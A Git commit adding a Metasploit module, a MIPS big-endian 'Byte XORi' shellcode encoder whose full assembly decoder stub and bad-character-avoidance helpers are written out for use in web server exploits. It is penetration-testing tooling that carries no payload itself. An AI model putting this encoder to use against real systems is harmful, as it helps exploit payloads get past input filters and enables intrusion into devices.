Merge branch 'land_mipsbe_xor_encoder' into upstream-master

Author: joevennix

modules/encoders/mipsbe/byte_xori.rb

@@ -0,0 +1,146 @@
+##
+# This module requires Metasploit: http//metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+
+require 'msf/core'
+require 'metasm'
+
+
+class Metasploit3 < Msf::Encoder::Xor
+
+  Rank = NormalRanking
+
+  def initialize
+    super(
+      'Name'             => 'Byte XORi Encoder',
+      'Description'      => %q{
+        Mips Web server exploit friendly xor encoder. This encoder has been found useful on
+        situations where '&' (0x26) is a badchar. Since 0x26 is the xor's opcode on MIPS
+        architectures, this one is based on the xori instruction.
+      },
+      'Author'           =>
+        [
+          'Julien Tinnes <julien at cr0.org>', # original longxor encoder, which this one is based on
+          'juan vazquez' # byte_xori encoder
+        ],
+      'Arch'             => ARCH_MIPSBE,
+      'License'          => MSF_LICENSE,
+      'Decoder'          =>
+        {
+          'KeySize'   => 1,
+          'BlockSize' => 1,
+          'KeyPack'   => 'C',
+        })
+  end
+
+  #
+  # Returns the decoder stub that is adjusted for the size of the buffer
+  # being encoded.
+  #
+  def decoder_stub(state)
+
+    # add 4 number of passes  for the space reserved for the key, at the end of the decoder stub
+    # (see commented source)
+    number_of_passes=state.buf.length+4
+    raise InvalidPayloadSizeException.new("The payload being encoded is too long (#{state.buf.length} bytes)") if number_of_passes > 32766
+
+    # 16-bits not (again, see also commented source)
+    reg_14 = (number_of_passes+1)^0xFFFF
+
+    decoder = Metasm::Shellcode.assemble(Metasm::MIPS.new(:big), <<EOS).encoded.data
+main:
+
+li macro reg, imm
+  addiu reg, $0, imm                     ; 0x24xxyyyy - xx: reg #, yyyy: imm # imm must be equal or less than 0x7fff
+endm
+
+  li      ($14, #{reg_14})               ; 0x240exxxx - store in $14 the number of passes (two's complement) - xxxx (number of passes)
+  nor     $14, $14, $0                   ; 0x01c07027 - get in $14 the number of passes
+  li      ($11,-69)                      ; 0x240bffbb - store in $11 the offset to the end of the decoder (two's complement) (from the addu instr)
+
+; acts as getpc
+next:
+  bltzal  $8, next                       ; 0x0510ffff - branch to next if $8 < 0, store return address in $31 ($ra); pipelining executes next instr.
+  slti    $8, $0, 0x#{slti_imm(state)}   ; 0x2808xxxx - Set $8 = 0; Set $8 = 1 if $0 < imm; else $8 = 0 / xxxx: imm
+
+  nor     $11, $11, $0                   ; 0x01605827 - get in $11 the offset to the end of the decoder (from the addu instr)
+  addu    $25, $31, $11                  ; 0x03ebc821 - get in $25 a pointer to the end of the decoder stub
+
+  slti    $23, $0, 0x#{slti_imm(state)}  ; 0x2817xxxx - Set $23 = 0 (Set $23 = 1 if $0 < imm; else $23 = 0) / xxxx: imm
+  lb      $17, -1($25)                   ; 0x8f31fffc - Load xor key in $17 (stored on the last byte of the decoder stub)
+
+; Init $6 and $15
+  li      ($13, -4)                      ; 0x240dfffc - $13 = -4
+  nor     $6, $13, $0                    ; 0x01a03027 - $6 = 3 ; used to easily get the cacheflush parameter
+  addi    $15, $6, -2                    ; 0x20cffffe - $15 = 1 ($15 = decoding loop counter increment)
+
+; In order avoid null bytes, decode also the xor key, so memory can be
+; referenced with offset -1
+loop:
+  lb      $8, -4($25)                    ; 0x8f28fffc - Load in $8 the byte to decode
+  addu    $23, $23, $15                  ; 0x02efb821 - Increment the counter ($23)
+  xori    $3, $8, 0x#{padded_key(state)} ; 0x01111826 - xori decoding instruction, store the decoded byte on $3
+  #{set_on_less_than(state)}             ; 0x02eef0xx - $30 = 1 if $23 < $14; else $30 = 0 (update branch condition) / xx: 0x2b if slti, 0x2a if slt
+  sb      $3, -4($25)                    ; 0xaf23fffc - Store decoded byte on memory
+  bne     $0, $30, loop                  ; 0x17c0fff9 - branch to loop if $30 != 0 (ranch while bytes to decode)
+  addu    $25, $25, $15                  ; 0x032dc821 - next instruction to decode, executed because of the pipelining
+
+  li      ($2, 4147)                     ; 0x24021033 - cacheflush sytem call
+  syscall 0x52950                        ; 0x014a540c
+  nop                                    ; encoded shellcoded must be here (xor key right here ;) after decoding will result in a nop
+EOS
+
+    return decoder
+  end
+
+
+  def padded_key(state, size=1)
+    key = Rex::Text.rand_text(size, state.badchars)
+    key << [state.key].pack("C")
+    return key.unpack("n")[0].to_s(16)
+  end
+
+  # Returns an two-bytes immediate value without badchars. The value must be
+  # on the 0x8000-0x8fff so it is used as negative value by slti (set less
+  # than signed immediate)
+  def slti_imm(state)
+    imm = Rex::Text.rand_text(2, state.badchars + (0x00..0x7f).to_a.pack("C*"))
+    return imm.unpack("n")[0].to_s(16)
+  end
+
+  # Since 0x14 contains the number of passes, and because of the li macro, can't be
+  # longer than 0x7fff, both sltu (unsigned) and slt (signed) operations can be used
+  # here
+  def set_on_less_than(state)
+    instructions = {
+      "sltu   $30, $23, $14" => "\x02\xee\xf0\x2b", # set less than unsigned
+      "slt    $30, $23, $14" => "\x02\xee\xf0\x2a"  # set less than
+    }
+
+    instructions.each do |k,v|
+      if Rex::Text.badchar_index(v, state.badchars) == nil
+        return k
+      end
+    end
+
+    raise BadcharError.new,
+          "The #{self.name} encoder failed to encode the decoder stub without bad characters.",
+          caller
+  end
+
+  def encode_finalize_stub(state, stub)
+    # Including the key into the stub by ourselves because it should be located
+    # in the last 4 bytes of the decoder stub. In this way decoding will convert
+    # these bytes into a nop instruction (0x00000000). The Msf::Encoder only supports
+    # one decoder_key_offset position
+    real_key = state.key
+    stub[-4, state.decoder_key_size] = [ real_key.to_i ].pack(state.decoder_key_pack)
+    stub[-3, state.decoder_key_size] = [ real_key.to_i ].pack(state.decoder_key_pack)
+    stub[-2, state.decoder_key_size] = [ real_key.to_i ].pack(state.decoder_key_pack)
+    stub[-1, state.decoder_key_size] = [ real_key.to_i ].pack(state.decoder_key_pack)
+    return stub
+  end
+
+end